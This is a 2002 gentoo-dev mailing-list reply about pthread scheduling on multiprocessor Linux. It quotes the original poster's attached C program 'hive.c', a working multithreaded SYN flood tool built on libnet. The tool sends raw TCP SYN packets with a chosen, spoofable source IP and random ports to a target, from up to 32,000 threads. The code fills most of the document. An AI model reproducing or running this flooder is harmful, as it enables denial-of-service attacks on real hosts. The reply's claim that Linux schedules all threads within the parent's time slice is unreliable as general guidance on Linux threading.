Re: [gentoo-dev] real concurrent multithreading with posix threads (pthreads)

[Brandon Low]

Well, I just happen to be taking an operating systems class ATM and yes in 
linux the normal behavior is that glibc handles thread scheduling, but all 
the threads are scheduled within the parent process' time slice.  If you 
NEED to have threads that run on different processors, and are scheduled 
at the kernel level, from what I have thus far learned it appears that 
Solaris or WinNT/2k/XPpro are the places to be.

Hope this information is helpful.

--Brandon

On Sat, 06/29/02 at 18:17:19 +0100, Miguel S. Filipe wrote:
> Hi all,
> After making a very simple program that uses pthreads and libnet..
> I realised that even in my smp system my proggie didn't run with the
> threads simultaneasly, one in each CPU..
> The threads don't yield the processor, but they finish all aproximatly
> at the same time wich means that they're being scheduled right?
> Is this the default behaviour of the linux kernel?
> threads of the same processor share the timeslice of the processor...?
>
> TIA.
>
> I send the lame code attached..
>
> p.s.: what is the more adequate ML to address these kind of problems?  LKM?
>
> Miguel Sousa Filipe
> irc handle: m3thos

> /* hive.c 1.0 (23.10.2001)
>  * synflooder, feito com libnet, e pthreads
>  * corrigi umas cenas a 28.6.2002, básicamente foi passar o input para ponteiro
>  * e deixou de ter os problemas de instabilidade que tinha no linux
>  */
>
> #include <stdio.h>
> #include <libnet.h>
> #include <pthread.h>
>
> #define MAX_BEES 32000
> #define MAX_ATTACKS 1000000
>
> typedef struct {
>   unsigned int packet_size, num_packets;
>   u_long src_ip, dst_ip;
> } hive_input;
>
> hive_input *input;
>
> void usage(char *func,int err_t)
> {
>   printf("usage: %s <dest_ip> <src_ip> <num_of_bees> <attacks_per_bee>\n",func);
>   if (err_t == 1)
>     fprintf(stderr,"hive:Incorrect number of arguments\n");
>   else if (err_t == 2)
>     fprintf(stderr,"hive:Incorrect number of bees, must be positive(DUH) and smaller than %d\n",MAX_BEES);
>   else if (err_t == 3)
>     fprintf(stderr,"hive:Incorrect number of attacks, must bepositive and smaller than %d\n",MAX_ATTACKS);
>   else
>     fprintf(stderr,"hive:Incorrect dest_ip or src_ip\n");
> }
>
>
> void *bee(void *ptr)
> {
>   int a, c, network;
>   struct libnet_arena arena, *arena_p;
>   hive_input *h = (hive_input *) ptr;
>   u_char *packet[h->num_packets];
>
>
>   /* initialize packet arena */
>   arena_p = &arena;
>   if (libnet_init_packet_arena( &arena_p, h->num_packets, h->packet_size) ==-1)
>     libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet_arena failed\n");
>
>
>   /* initialize network */
>   network = libnet_open_raw_sock(IPPROTO_RAW);
>   if (network == -1)
>     libnet_error(LIBNET_ERR_FATAL, "Can't open raw socket\n");
>
>
>   /* a++; while(packet[a] = libnet_next_packet_from_arena( &arena_p, h->packet_size)){    */
>   for(a = 0; a < h->num_packets; a++){
>     packet[a] = libnet_next_packet_from_arena( &arena_p, h->packet_size);
>
>     if (!packet[a])
>       libnet_error(LIBNET_ERR_WARNING, "Arena is empty\n");
>
>     /* ip header */
>     libnet_build_ip(LIBNET_TCP_H,    /* size of packet without IP header */
> 		    IPTOS_LOWDELAY,          /* tos */
> 		    a,                       /* id */
> 		    0,                       /* frag crap */
> 		    255,                     /* ttl */
> 		    IPPROTO_TCP,             /* protocol */
> 		    h->src_ip,                  /* source ip */
> 		    h->dst_ip,                  /* destination ip */
> 		    NULL,                    /* payload */
> 		    0,                       /* payload size */
> 		    packet[a]);                 /* packet header memory */
>
>     /* tcp header */
>     libnet_build_tcp(libnet_get_prand( LIBNET_PRu16),        /* source TCP port */
> 		     libnet_get_prand( LIBNET_PRu16),                 /* destination TCP port */
> 		     libnet_get_prand( LIBNET_PRu32),                 /* sequence number */
> 		     libnet_get_prand( LIBNET_PRu32),                 /* acknoledge number */
> 		     TH_SYN,                 /* control flag */
> 		     1024,                   /* window size ?*/
> 		     0,                      /* urgent poitner ?*/
> 		     NULL,                   /* payload ?*/
> 		     0,                      /* payload size ?*/
> 		     packet[a] + LIBNET_IP_H);  /* packet header memory */
>
>     /* do checksum */
>     if (libnet_do_checksum(packet[a], IPPROTO_TCP, LIBNET_TCP_H) == -1)
>       libnet_error(LIBNET_ERR_FATAL, "libnet_do_checkum failed\n");
>
>     /* send packet */
>     c = libnet_write_ip(network, packet[a], h->packet_size);
>     if (c == -1)
>       libnet_error(LN_ERR_WARNING, "WARN: bee.%ld, unable to send packet %d\n",(long int)pthread_self(),a);
>     else if (c < h->packet_size)
>       libnet_error(LN_ERR_WARNING, "WARN: libnet_write_ip only wrote %d bytes",c);
>   }
>
>   if (libnet_close_raw_sock(network) == -1)
>     libnet_error(LN_ERR_WARNING, "WARN: libnet_close_raw_sock couldn't close interface");
>   libnet_destroy_packet_arena(&arena_p);
>   printf(" bee.% 3ld was able to attack %d times\n",(long int)pthread_self(),a);
>   return NULL;
> }
>
>
> int main(int argc, char **argv)
> {
>   u_short i,bees;
>   pthread_t tid[MAX_BEES];
>
>   printf("Hive 1.0, by m3thos (23.10.2001)\n\n");
>   if (argc != 5)
>     usage(argv[0],1);
>
>   input = (hive_input *) malloc(sizeof(hive_input));
>   if (!(input->dst_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE))){
>     libnet_error(LIBNET_ERR_FATAL, "Bad destination IP address: $s\n",argv[1]);
>   }
>   if (!(input->src_ip = libnet_name_resolve(argv[2], LIBNET_RESOLVE))){
>     libnet_error(LIBNET_ERR_FATAL, "Bad source IP address: $s\n",argv[2]);
>   }
>
>   if (!input->src_ip || !input->dst_ip)
>     {
>       usage(argv[0],4);
>       exit (4);
>     }
>
>   bees = (u_short)atoi(argv[3]);
>   if (!bees || bees > MAX_BEES)
>     {
>       usage(argv[0],2);
>       exit (2);
>     }
>
>   input->num_packets = (int)atoi(argv[4]);
>   if (!input->num_packets || input->num_packets > MAX_ATTACKS)
>     {
>       usage(argv[0],3);
>       exit (3);
>     }
>
>   /* tcp packet with no payload, so, size is ip header + tcp header. */
>   input->packet_size = LIBNET_IP_H + LIBNET_TCP_H;
>
>   printf("hive has %d bees\n",bees);
>   printf(" %d attacks of %d bytes per bee\n", input->num_packets, input->packet_size);
>   printf("SYN flood of %d kbytes to %s\n", input->packet_size * input->num_packets * bees / 1024, argv[1]);
>
>   for(i = 0; i < bees; i++){
>     printf(".");
>     if (pthread_create(&tid[i], NULL, bee, (void *)input) != 0)
>       {
> 	printf("Error creating Pthread\n");
> 	exit (10);
>       }
>   }
>   printf("\n");
>   for(i = 0; i < bees; i++)
>     pthread_join(tid[i], NULL);
>   printf("ALL DONE\n");
>   return 0;
> }